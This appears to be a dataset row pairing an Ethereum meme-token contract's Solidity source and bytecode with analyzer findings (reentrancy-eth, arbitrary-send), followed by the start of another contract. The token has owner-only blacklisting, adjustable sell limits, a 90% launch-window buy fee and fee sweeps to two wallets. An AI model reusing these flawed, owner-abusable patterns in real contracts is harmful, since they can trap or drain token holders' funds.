function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
require(amount <= _maxBuyAmount);
_taxFee = 0;
_ronaFee = _BuyFee;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
_ronaFee = 90;
}
}
}
// sell
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
require(amount <= _maxSellAmount);
_taxFee = 0;
_ronaFee = _SellFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_FeeAddress2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _ronaFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 RonaFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(RonaFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 1000000000 * 10**9; // TX LIMIT
_maxSellAmount = 100000 * 10**9; // 1% TX LIMIT
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (720 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() {
_maxBuyAmount = maxBuy;
_maxSellAmount = maxSell;
}
function setYugiHour(bool enabled) external onlyOwner() {
if (enabled)
{_SellFee = 16;
_BuyFee = 0;
}
else
{
_SellFee = 8;
_BuyFee = 8;
}
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101c65760003560e01c80638da5cb5b116100f7578063c9567bf911610095578063e47d606011610064578063e47d606014610508578063e8078d9414610541578063f2cc0c1814610556578063f84354f11461057657600080fd5b8063c9567bf91461045f578063cba0e99614610474578063db92dbb6146104ad578063dd62ed3e146104c257600080fd5b8063a985ceef116100d1578063a985ceef146103eb578063ac94dd061461040a578063af9549e01461042a578063c3c8cd801461044a57600080fd5b80638da5cb5b146103a357806395d89b41146101d2578063a9059cbb146103cb57600080fd5b80634303443d116101645780636fc3eaec1161013e5780636fc3eaec1461033957806370a082311461034e578063715018a61461036e5780637ded4d6a1461038357600080fd5b80634303443d146102d95780635932ead1146102f957806368a3a6a51461031957600080fd5b806323b872dd116101a057806323b872dd1461026657806327f3a72a14610286578063313ce5671461029b5780634126f695146102b757600080fd5b806306fdde03146101d2578063095ea7b31461021157806318160ddd1461024157600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201825260078152664e424120496e7560c81b60208201529051610208919061272a565b60405180910390f35b34801561021d57600080fd5b5061023161022c366004612679565b610596565b6040519015158152602001610208565b34801561024d57600080fd5b50670de0b6b3a76400005b604051908152602001610208565b34801561027257600080fd5b5061023161028136600461260c565b6105ad565b34801561029257600080fd5b50610258610616565b3480156102a757600080fd5b5060405160098152602001610208565b3480156102c357600080fd5b506102d76102d23660046126dc565b610626565b005b3480156102e557600080fd5b506102d76102f436600461259c565b610664565b34801561030557600080fd5b506102d76103143660046126a4565b6107d6565b34801561032557600080fd5b5061025861033436600461259c565b61085b565b34801561034557600080fd5b506102d761087e565b34801561035a57600080fd5b5061025861036936600461259c565b6108ab565b34801561037a57600080fd5b506102d76108cd565b34801561038f57600080fd5b506102d761039e36600461259c565b610941565b3480156103af57600080fd5b506000546040516001600160a01b039091168152602001610208565b3480156103d757600080fd5b506102316103e6366004612679565b610b27565b3480156103f757600080fd5b50601954600160a81b900460ff16610231565b34801561041657600080fd5b506102d76104253660046126a4565b610b34565b34801561043657600080fd5b506102d761044536600461264c565b610b7e565b34801561045657600080fd5b506102d7610bd3565b34801561046b57600080fd5b506102d7610c09565b34801561048057600080fd5b5061023161048f36600461259c565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156104b957600080fd5b50610258610c57565b3480156104ce57600080fd5b506102586104dd3660046125d4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561051457600080fd5b5061023161052336600461259c565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561054d57600080fd5b506102d7610c6f565b34801561056257600080fd5b506102d761057136600461259c565b611027565b34801561058257600080fd5b506102d761059136600461259c565b6111f2565b60006105a33384846113b7565b5060015b92915050565b60006105ba8484846114db565b61060c8433610607856040518060600160405280602881526020016128e5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611996565b6113b7565b5060019392505050565b6000610621306108ab565b905090565b6000546001600160a01b031633146106595760405162461bcd60e51b81526004016106509061277d565b60405180910390fd5b601491909155601555565b6000546001600160a01b0316331461068e5760405162461bcd60e51b81526004016106509061277d565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156107075760405162461bcd60e51b8152602060048201526024808201527f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f756044820152633a32b91760e11b6064820152608401610650565b6001600160a01b03811660009081526008602052604090205460ff16156107705760405162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c697374656400006044820152606401610650565b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6000546001600160a01b031633146108005760405162461bcd60e51b81526004016106509061277d565b6019805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200160405180910390a150565b6001600160a01b0381166000908152600a60205260408120546105a79042612879565b6016546001600160a01b0316336001600160a01b03161461089e57600080fd5b476108a8816119d0565b50565b6001600160a01b0381166000908152600260205260408120546105a790611a55565b6000546001600160a01b031633146108f75760405162461bcd60e51b81526004016106509061277d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461096b5760405162461bcd60e51b81526004016106509061277d565b6001600160a01b03811660009081526008602052604090205460ff166109d35760405162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c69737465640000000000006044820152606401610650565b60005b600954811015610b2357816001600160a01b031660098281548110610a0b57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610b115760098054610a3690600190612879565b81548110610a5457634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b039092169183908110610a8e57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600890915260409020805460ff191690556009805480610aeb57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610b1b81612890565b9150506109d6565b5050565b60006105a33384846114db565b6000546001600160a01b03163314610b5e5760405162461bcd60e51b81526004016106509061277d565b8015610b71576010601355600060125550565b6008601381905560125550565b6000546001600160a01b03163314610ba85760405162461bcd60e51b81526004016106509061277d565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6016546001600160a01b0316336001600160a01b031614610bf357600080fd5b6000610bfe306108ab565b90506108a881611ad9565b6000546001600160a01b03163314610c335760405162461bcd60e51b81526004016106509061277d565b6019805460ff60a01b1916600160a01b179055610c52426102d0612822565b601a55565b601954600090610621906001600160a01b03166108ab565b6000546001600160a01b03163314610c995760405162461bcd60e51b81526004016106509061277d565b601954600160a01b900460ff1615610cf35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610650565b601880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d2f3082670de0b6b3a76400006113b7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6857600080fd5b505afa158015610d7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da091906125b8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610de857600080fd5b505afa158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2091906125b8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610e6857600080fd5b505af1158015610e7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea091906125b8565b601980546001600160a01b0319166001600160a01b039283161790556018541663f305d7194730610ed0816108ab565b600080610ee56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610f4857600080fd5b505af1158015610f5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f8191906126fd565b5050670de0b6b3a764000060145550655af3107a400060155542600f5560195460185460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610fef57600080fd5b505af1158015611003573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2391906126c0565b6000546001600160a01b031633146110515760405162461bcd60e51b81526004016106509061277d565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156110c95760405162461bcd60e51b815260206004820152602260248201527f57652063616e206e6f74206578636c75646520556e697377617020726f757465604482015261391760f11b6064820152608401610650565b6001600160a01b03811660009081526006602052604090205460ff16156111325760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610650565b6001600160a01b0381166000908152600260205260409020541561118c576001600160a01b03811660009081526002602052604090205461117290611a55565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b0316331461121c5760405162461bcd60e51b81526004016106509061277d565b6001600160a01b03811660009081526006602052604090205460ff166112845760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610650565b60005b600754811015610b2357816001600160a01b0316600782815481106112bc57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156113a557600780546112e790600190612879565b8154811061130557634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600780546001600160a01b03909216918390811061133f57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600690925220805460ff191690556007805480610aeb57634e487b7160e01b600052603160045260246000fd5b806113af81612890565b915050611287565b6001600160a01b0383166114195760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610650565b6001600160a01b03821661147a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610650565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661153f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610650565b6001600160a01b0382166115a15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610650565b600081116116035760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610650565b6001600160a01b03821660009081526008602052604090205460ff16156116665760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610650565b3360009081526008602052604090205460ff16156116c05760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610650565b6000546001600160a01b038481169116148015906116ec57506000546001600160a01b03838116911614155b1561193957601954600160a81b900460ff161561176c57336000908152600a602052604090206002015460ff1661176c5760408051606081018252600080825260208083018281526001848601818152338552600a909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6019546001600160a01b03848116911614801561179757506018546001600160a01b03838116911614155b80156117bc57506001600160a01b03821660009081526005602052604090205460ff16155b1561185657601954600160a01b900460ff1661181a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610650565b60145481111561182957600080fd5b6000600d55601254600e55601954600160a81b900460ff16156118565742601a54111561185657605a600e555b6019546001600160a01b03838116911614801561188157506018546001600160a01b03848116911614155b80156118a657506001600160a01b03831660009081526005602052604090205460ff16155b156118c6576015548111156118ba57600080fd5b6000600d55601354600e555b60006118d1306108ab565b601954909150600160b01b900460ff161580156118fc57506019546001600160a01b03858116911614155b80156119115750601954600160a01b900460ff165b156119375780156119255761192581611ad9565b47801561193557611935476119d0565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061197b57506001600160a01b03831660009081526005602052604090205460ff165b15611984575060005b61199084848484611c7e565b50505050565b600081848411156119ba5760405162461bcd60e51b8152600401610650919061272a565b5060006119c78486612879565b95945050505050565b6016546001600160a01b03166108fc6119ea836002611df5565b6040518115909202916000818181858888f19350505050158015611a12573d6000803e3d6000fd5b506017546001600160a01b03166108fc611a2d836002611df5565b6040518115909202916000818181858888f19350505050158015610b23573d6000803e3d6000fd5b6000600b54821115611abc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610650565b6000611ac6611e37565b9050611ad28382611df5565b9392505050565b6019805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611b2f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611b8357600080fd5b505afa158015611b97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bbb91906125b8565b81600181518110611bdc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601854611c0291309116846113b7565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c3b9085906000908690309042906004016127b2565b600060405180830381600087803b158015611c5557600080fd5b505af1158015611c69573d6000803e3d6000fd5b50506019805460ff60b01b1916905550505050565b80611c8b57611c8b611e5a565b6001600160a01b03841660009081526006602052604090205460ff168015611ccc57506001600160a01b03831660009081526006602052604090205460ff16155b15611ce157611cdc848484611e88565b611ddf565b6001600160a01b03841660009081526006602052604090205460ff16158015611d2257506001600160a01b03831660009081526006602052604090205460ff165b15611d3257611cdc848484611fae565b6001600160a01b03841660009081526006602052604090205460ff16158015611d7457506001600160a01b03831660009081526006602052604090205460ff16155b15611d8457611cdc848484612057565b6001600160a01b03841660009081526006602052604090205460ff168015611dc457506001600160a01b03831660009081526006602052604090205460ff165b15611dd457611cdc84848461209b565b611ddf848484612057565b8061199057611990601054600d55601154600e55565b6000611ad283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061210e565b6000806000611e4461213c565b9092509050611e538282611df5565b9250505090565b600d54158015611e6a5750600e54155b15611e7157565b600d8054601055600e805460115560009182905555565b600080600080600080611e9a8761230c565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611ecc9088612369565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611efb9087612369565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611f2a90866123ab565b6001600160a01b038916600090815260026020526040902055611f4c8161240a565b611f568483612454565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f9b91815260200190565b60405180910390a3505050505050505050565b600080600080600080611fc08761230c565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611ff29087612369565b6001600160a01b03808b16600090815260026020908152604080832094909455918b1681526003909152205461202890846123ab565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611f2a90866123ab565b6000806000806000806120698761230c565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611efb9087612369565b6000806000806000806120ad8761230c565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506120df9088612369565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611ff29087612369565b6000818361212f5760405162461bcd60e51b8152600401610650919061272a565b5060006119c7848661283a565b600b546000908190670de0b6b3a7640000825b6007548110156122d15782600260006007848154811061217f57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806121f857508160036000600784815481106121d157634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612213575050600b5493670de0b6b3a76400009350915050565b612267600260006007848154811061223b57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612369565b92506122bd600360006007848154811061229157634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612369565b9150806122c981612890565b91505061214f565b50600b546122e790670de0b6b3a7640000611df5565b821015612303575050600b5492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006123298a600d54600e54612478565b9250925092506000612339611e37565b9050600080600061234c8e8787876124cd565b919e509c509a509598509396509194505050505091939550919395565b6000611ad283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611996565b6000806123b88385612822565b905083811015611ad25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610650565b6000612414611e37565b90506000612422838361251d565b3060009081526002602052604090205490915061243f90826123ab565b30600090815260026020526040902055505050565b600b546124619083612369565b600b55600c5461247190826123ab565b600c555050565b6000808080612492606461248c898961251d565b90611df5565b905060006124a5606461248c8a8961251d565b905060006124bd826124b78b86612369565b90612369565b9992985090965090945050505050565b60008080806124dc888661251d565b905060006124ea888761251d565b905060006124f8888861251d565b9050600061250a826124b78686612369565b939b939a50919850919650505050505050565b60008261252c575060006105a7565b6000612538838561285a565b905082612545858361283a565b14611ad25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610650565b6000602082840312156125ad578081fd5b8135611ad2816128c1565b6000602082840312156125c9578081fd5b8151611ad2816128c1565b600080604083850312156125e6578081fd5b82356125f1816128c1565b91506020830135612601816128c1565b809150509250929050565b600080600060608486031215612620578081fd5b833561262b816128c1565b9250602084013561263b816128c1565b929592945050506040919091013590565b6000806040838503121561265e578182fd5b8235612669816128c1565b91506020830135612601816128d6565b6000806040838503121561268b578182fd5b8235612696816128c1565b946020939093013593505050565b6000602082840312156126b5578081fd5b8135611ad2816128d6565b6000602082840312156126d1578081fd5b8151611ad2816128d6565b600080604083850312156126ee578182fd5b50508035926020909101359150565b600080600060608486031215612711578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156127565785810183015185820160400152820161273a565b818111156127675783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156128015784516001600160a01b0316835293830193918301916001016127dc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612835576128356128ab565b500190565b60008261285557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612874576128746128ab565b500290565b60008282101561288b5761288b6128ab565b500390565b60006000198214156128a4576128a46128ab565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146108a857600080fd5b80151581146108a857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e13e731bbc9c4719e59e995835da0249190f13bb53acef2ab3123a22405eae2b64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 137 |
0x6518905b5917614383e09bf9e94083f8f679acd1 | /**
*Submitted for verification at Etherscan.io on 2021-09-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
